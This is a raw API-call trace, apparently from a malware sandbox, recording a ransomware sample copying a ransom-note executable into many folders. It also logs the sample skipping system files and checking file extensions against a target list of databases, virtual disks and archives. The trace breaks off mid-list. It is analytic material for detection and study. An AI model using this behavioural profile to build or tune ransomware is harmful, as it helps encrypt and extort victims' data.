[0103.526] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9a) returned 0x523950 [0103.526] lstrcatW (in: lpString1="Internet Explorer", lpString2="\\" | out: lpString1="Internet Explorer\\") returned="Internet Explorer\\" [0103.526] lstrcatW (in: lpString1="Internet Explorer\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Internet Explorer\\HOW TO BACK YOUR FILES.exe") returned="Internet Explorer\\HOW TO BACK YOUR FILES.exe" [0103.526] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\Microsoft\\Internet Explorer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\microsoft\\internet explorer\\how to back your files.exe"), bFailIfExists=1) returned 1 [0103.528] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd856f385, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0103.528] lstrcmpiW (lpString1="Media Player", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.529] lstrcmpiW (lpString1="Media Player", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.529] lstrcmpiW (lpString1="Media Player", lpString2=".") returned 1 [0103.529] lstrcmpiW (lpString1="Media Player", lpString2="..") returned 1 [0103.529] lstrcmpiW (lpString1="Media Player", lpString2="windows") returned -1 [0103.529] lstrcmpiW (lpString1="Media Player", lpString2="bootmgr") returned 1 [0103.529] lstrcmpiW (lpString1="Media Player", lpString2="temp") returned -1 [0103.529] lstrcmpiW (lpString1="Media Player", lpString2="pagefile.sys") returned -1 [0103.529] lstrcmpiW (lpString1="Media Player", lpString2="boot") returned 1 [0103.529] lstrcmpiW (lpString1="Media Player", lpString2="ids.txt") returned 1 [0103.529] lstrcmpiW (lpString1="Media Player", lpString2="ntuser.dat") returned -1 [0103.529] lstrcmpiW (lpString1="Media Player", lpString2="perflogs") returned -1 [0103.529] lstrcmpiW (lpString1="Media Player", lpString2="MSBuild") returned -1 [0103.529] lstrlenW (lpString="Media Player") returned 12 [0103.529] lstrcpyW (in: lpString1=0x241e8be, lpString2="Media Player" | out: lpString1="Media Player") returned="Media Player" [0103.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52aca8 [0103.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x90) returned 0x534318 [0103.529] lstrcatW (in: lpString1="Media Player", lpString2="\\" | out: lpString1="Media Player\\") returned="Media Player\\" [0103.529] lstrcatW (in: lpString1="Media Player\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Media Player\\HOW TO BACK YOUR FILES.exe") returned="Media Player\\HOW TO BACK YOUR FILES.exe" [0103.529] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\Microsoft\\Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\microsoft\\media player\\how to back your files.exe"), bFailIfExists=1) returned 1 [0103.533] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x66d8860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d1d5e4e, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0103.533] lstrcmpiW (lpString1="Windows", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.533] lstrcmpiW (lpString1="Windows", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.533] lstrcmpiW (lpString1="Windows", lpString2=".") returned 1 [0103.533] lstrcmpiW (lpString1="Windows", lpString2="..") returned 1 [0103.533] lstrcmpiW (lpString1="Windows", lpString2="windows") returned 0 [0103.533] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd774d0cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~3")) returned 1 [0103.533] lstrcmpiW (lpString1="Windows Mail", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.533] lstrcmpiW (lpString1="Windows Mail", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.533] lstrcmpiW (lpString1="Windows Mail", lpString2=".") returned 1 [0103.533] lstrcmpiW (lpString1="Windows Mail", lpString2="..") returned 1 [0103.533] lstrcmpiW (lpString1="Windows Mail", lpString2="windows") returned 1 [0103.533] lstrcmpiW (lpString1="Windows Mail", lpString2="bootmgr") returned 1 [0103.533] lstrcmpiW (lpString1="Windows Mail", lpString2="temp") returned 1 [0103.533] lstrcmpiW (lpString1="Windows Mail", lpString2="pagefile.sys") returned 1 [0103.533] lstrcmpiW (lpString1="Windows Mail", lpString2="boot") returned 1 [0103.533] lstrcmpiW (lpString1="Windows Mail", lpString2="ids.txt") returned 1 [0103.533] lstrcmpiW (lpString1="Windows Mail", lpString2="ntuser.dat") returned 1 [0103.533] lstrcmpiW (lpString1="Windows Mail", lpString2="perflogs") returned 1 [0103.533] lstrcmpiW (lpString1="Windows Mail", lpString2="MSBuild") returned 1 [0103.533] lstrlenW (lpString="Windows Mail") returned 12 [0103.533] lstrcpyW (in: lpString1=0x241e8be, lpString2="Windows Mail" | out: lpString1="Windows Mail") returned="Windows Mail" [0103.533] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52abe8 [0103.534] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x90) returned 0x5343b0 [0103.534] lstrcatW (in: lpString1="Windows Mail", lpString2="\\" | out: lpString1="Windows Mail\\") returned="Windows Mail\\" [0103.534] lstrcatW (in: lpString1="Windows Mail\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Mail\\HOW TO BACK YOUR FILES.exe") returned="Windows Mail\\HOW TO BACK YOUR FILES.exe" [0103.534] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\Microsoft\\Windows Mail\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\microsoft\\windows mail\\how to back your files.exe"), bFailIfExists=1) returned 1 [0103.538] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Media", cAlternateFileName="WINDOW~2")) returned 1 [0103.538] lstrcmpiW (lpString1="Windows Media", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.538] lstrcmpiW (lpString1="Windows Media", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.538] lstrcmpiW (lpString1="Windows Media", lpString2=".") returned 1 [0103.538] lstrcmpiW (lpString1="Windows Media", lpString2="..") returned 1 [0103.538] lstrcmpiW (lpString1="Windows Media", lpString2="windows") returned 1 [0103.538] lstrcmpiW (lpString1="Windows Media", lpString2="bootmgr") returned 1 [0103.538] lstrcmpiW (lpString1="Windows Media", lpString2="temp") returned 1 [0103.538] lstrcmpiW (lpString1="Windows Media", lpString2="pagefile.sys") returned 1 [0103.538] lstrcmpiW (lpString1="Windows Media", lpString2="boot") returned 1 [0103.538] lstrcmpiW (lpString1="Windows Media", lpString2="ids.txt") returned 1 [0103.538] lstrcmpiW (lpString1="Windows Media", lpString2="ntuser.dat") returned 1 [0103.538] lstrcmpiW (lpString1="Windows Media", lpString2="perflogs") returned 1 [0103.538] lstrcmpiW (lpString1="Windows Media", lpString2="MSBuild") returned 1 [0103.538] lstrlenW (lpString="Windows Media") returned 13 [0103.538] lstrcpyW (in: lpString1=0x241e8be, lpString2="Windows Media" | out: lpString1="Windows Media") returned="Windows Media" [0103.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52abb8 [0103.538] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x92) returned 0x53e760 [0103.538] lstrcatW (in: lpString1="Windows Media", lpString2="\\" | out: lpString1="Windows Media\\") returned="Windows Media\\" [0103.538] lstrcatW (in: lpString1="Windows Media\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Media\\HOW TO BACK YOUR FILES.exe") returned="Windows Media\\HOW TO BACK YOUR FILES.exe" [0103.538] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\Microsoft\\Windows Media\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\microsoft\\windows media\\how to back your files.exe"), bFailIfExists=1) returned 1 [0103.540] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1 [0103.540] lstrcmpiW (lpString1="Windows Sidebar", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.540] lstrcmpiW (lpString1="Windows Sidebar", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.541] lstrcmpiW (lpString1="Windows Sidebar", lpString2=".") returned 1 [0103.541] lstrcmpiW (lpString1="Windows Sidebar", lpString2="..") returned 1 [0103.541] lstrcmpiW (lpString1="Windows Sidebar", lpString2="windows") returned 1 [0103.541] lstrcmpiW (lpString1="Windows Sidebar", lpString2="bootmgr") returned 1 [0103.541] lstrcmpiW (lpString1="Windows Sidebar", lpString2="temp") returned 1 [0103.541] lstrcmpiW (lpString1="Windows Sidebar", lpString2="pagefile.sys") returned 1 [0103.541] lstrcmpiW (lpString1="Windows Sidebar", lpString2="boot") returned 1 [0103.541] lstrcmpiW (lpString1="Windows Sidebar", lpString2="ids.txt") returned 1 [0103.541] lstrcmpiW (lpString1="Windows Sidebar", lpString2="ntuser.dat") returned 1 [0103.541] lstrcmpiW (lpString1="Windows Sidebar", lpString2="perflogs") returned 1 [0103.541] lstrcmpiW (lpString1="Windows Sidebar", lpString2="MSBuild") returned 1 [0103.541] lstrlenW (lpString="Windows Sidebar") returned 15 [0103.541] lstrcpyW (in: lpString1=0x241e8be, lpString2="Windows Sidebar" | out: lpString1="Windows Sidebar") returned="Windows Sidebar" [0103.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c770 [0103.541] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x96) returned 0x53e800 [0103.541] lstrcatW (in: lpString1="Windows Sidebar", lpString2="\\" | out: lpString1="Windows Sidebar\\") returned="Windows Sidebar\\" [0103.541] lstrcatW (in: lpString1="Windows Sidebar\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Sidebar\\HOW TO BACK YOUR FILES.exe") returned="Windows Sidebar\\HOW TO BACK YOUR FILES.exe" [0103.541] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\Microsoft\\Windows Sidebar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\microsoft\\windows sidebar\\how to back your files.exe"), bFailIfExists=1) returned 1 [0103.544] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 0 [0103.544] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.544] ReleaseMutex (hMutex=0xec) returned 1 [0103.544] CloseHandle (hObject=0xec) returned 1 [0103.544] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default\\Local Settings\\Temporary Internet Files" | out: lpString1="C:\\Documents and Settings\\Default\\Local Settings\\Temporary Internet Files") returned="C:\\Documents and Settings\\Default\\Local Settings\\Temporary Internet Files" [0103.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ca80 | out: hHeap=0x4f0000) returned 1 [0103.544] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52adb0 | out: hHeap=0x4f0000) returned 1 [0103.544] lstrlenW (lpString="C:\\Documents and Settings\\Default\\Local Settings\\Temporary Internet Files") returned 73 [0103.544] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\EA0C0B59821B5F35342EB8A4B32E25F2") returned 0xec [0103.544] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.544] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default\\Local Settings\\Temporary Internet Files" | out: lpString1="C:\\Documents and Settings\\Default\\Local Settings\\Temporary Internet Files") returned="C:\\Documents and Settings\\Default\\Local Settings\\Temporary Internet Files" [0103.544] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.544] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\temporary internet files\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.545] CreateFileW (lpFileName="C:\\Documents and Settings\\Default\\Local Settings\\Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\temporary internet files\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.545] GetLastError () returned 0x0 [0103.545] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.545] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x547540 [0103.545] ReadFile (in: hFile=0xf4, lpBuffer=0x547540, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x547540*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0103.546] CloseHandle (hObject=0xf4) returned 1 [0103.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x547540 | out: hHeap=0x4f0000) returned 1 [0103.546] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.546] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default\\Local Settings\\Temporary Internet Files\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7acb5a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7acb5a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.546] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.547] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.547] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0103.547] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7acb5a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7acb5a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.547] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.547] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.547] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0103.547] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0103.547] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1 [0103.547] lstrcmpiW (lpString1="Content.IE5", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.547] lstrcmpiW (lpString1="Content.IE5", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.547] lstrcmpiW (lpString1="Content.IE5", lpString2=".") returned 1 [0103.547] lstrcmpiW (lpString1="Content.IE5", lpString2="..") returned 1 [0103.547] lstrcmpiW (lpString1="Content.IE5", lpString2="windows") returned -1 [0103.547] lstrcmpiW (lpString1="Content.IE5", lpString2="bootmgr") returned 1 [0103.547] lstrcmpiW (lpString1="Content.IE5", lpString2="temp") returned -1 [0103.547] lstrcmpiW (lpString1="Content.IE5", lpString2="pagefile.sys") returned -1 [0103.547] lstrcmpiW (lpString1="Content.IE5", lpString2="boot") returned 1 [0103.547] lstrcmpiW (lpString1="Content.IE5", lpString2="ids.txt") returned -1 [0103.547] lstrcmpiW (lpString1="Content.IE5", lpString2="ntuser.dat") returned -1 [0103.547] lstrcmpiW (lpString1="Content.IE5", lpString2="perflogs") returned -1 [0103.547] lstrcmpiW (lpString1="Content.IE5", lpString2="MSBuild") returned -1 [0103.547] lstrlenW (lpString="Content.IE5") returned 11 [0103.547] lstrcpyW (in: lpString1=0x241e8dc, lpString2="Content.IE5" | out: lpString1="Content.IE5") returned="Content.IE5" [0103.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52adb0 [0103.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xac) returned 0x543258 [0103.547] lstrcatW (in: lpString1="Content.IE5", lpString2="\\" | out: lpString1="Content.IE5\\") returned="Content.IE5\\" [0103.547] lstrcatW (in: lpString1="Content.IE5\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Content.IE5\\HOW TO BACK YOUR FILES.exe") returned="Content.IE5\\HOW TO BACK YOUR FILES.exe" [0103.547] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default\\Local Settings\\Temporary Internet Files\\Content.IE5\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default\\local settings\\temporary internet files\\content.ie5\\how to back your files.exe"), bFailIfExists=1) returned 1 [0103.551] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x65f4020, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe710360, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0103.551] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.551] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.551] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0103.551] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0103.551] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0103.551] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0103.551] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0103.551] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0103.551] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0103.552] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0103.552] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0103.552] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0103.552] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0103.552] lstrlenW (lpString="desktop.ini") returned 11 [0103.552] lstrcpyW (in: lpString1=0x241e8dc, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0103.552] lstrlenW (lpString="desktop.ini") returned 11 [0103.552] lstrlenW (lpString="Athena865") returned 9 [0103.552] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0103.552] lstrlenW (lpString=".dll") returned 4 [0103.552] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0103.552] lstrlenW (lpString=".lnk") returned 4 [0103.552] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0103.552] lstrlenW (lpString=".ini") returned 4 [0103.552] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0103.552] lstrlenW (lpString=".sys") returned 4 [0103.552] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0103.552] lstrlenW (lpString="desktop.ini") returned 11 [0103.552] lstrlenW (lpString="bak") returned 3 [0103.552] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0103.552] lstrlenW (lpString="ba_") returned 3 [0103.552] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0103.552] lstrlenW (lpString="dbb") returned 3 [0103.552] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0103.552] lstrlenW (lpString="vmdk") returned 4 [0103.552] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0103.552] lstrlenW (lpString="rar") returned 3 [0103.552] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0103.552] lstrlenW (lpString="zip") returned 3 [0103.552] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0103.552] lstrlenW (lpString="tgz") returned 3 [0103.552] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0103.553] lstrlenW (lpString="vbox") returned 4 [0103.553] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0103.553] lstrlenW (lpString="vdi") returned 3 [0103.553] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0103.553] lstrlenW (lpString="vhd") returned 3 [0103.553] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0103.553] lstrlenW (lpString="vhdx") returned 4 [0103.553] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0103.553] lstrlenW (lpString="avhd") returned 4 [0103.553] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0103.553] lstrlenW (lpString="db") returned 2 [0103.553] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0103.553] lstrlenW (lpString="db2") returned 3 [0103.553] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0103.553] lstrlenW (lpString="db3") returned 3 [0103.553] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0103.553] lstrlenW (lpString="dbf") returned 3 [0103.553] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0103.553] lstrlenW (lpString="mdf") returned 3 [0103.553] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0103.553] lstrlenW (lpString="mdb") returned 3 [0103.553] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0103.553] lstrlenW (lpString="sql") returned 3 [0103.553] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0103.553] lstrlenW (lpString="sqlite") returned 6 [0103.553] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0103.553] lstrlenW (lpString="sqlite3") returned 7 [0103.553] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0103.553] lstrlenW (lpString="sqlitedb") returned 8 [0103.553] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0103.554] lstrlenW (lpString="xml") returned 3 [0103.554] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0103.554] lstrlenW (lpString="$er") returned 3 [0103.554] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0103.554] lstrlenW (lpString="4dd") returned 3 [0103.554] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0103.554] lstrlenW (lpString="4dl") returned 3 [0103.554] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0103.554] lstrlenW (lpString="^^^") returned 3 [0103.554] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0103.554] lstrlenW (lpString="abs") returned 3 [0103.554] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0103.554] lstrlenW (lpString="abx") returned 3 [0103.554] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0103.554] lstrlenW (lpString="accdb") returned 5 [0103.554] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0103.554] lstrlenW (lpString="accdc") returned 5 [0103.554] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0103.554] lstrlenW (lpString="accde") returned 5 [0103.554] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0103.554] lstrlenW (lpString="accdr") returned 5 [0103.554] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0103.554] lstrlenW (lpString="accdt") returned 5 [0103.554] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0103.554] lstrlenW (lpString="accdw") returned 5 [0103.554] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0103.554] lstrlenW (lpString="accft") returned 5 [0103.554] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0103.554] 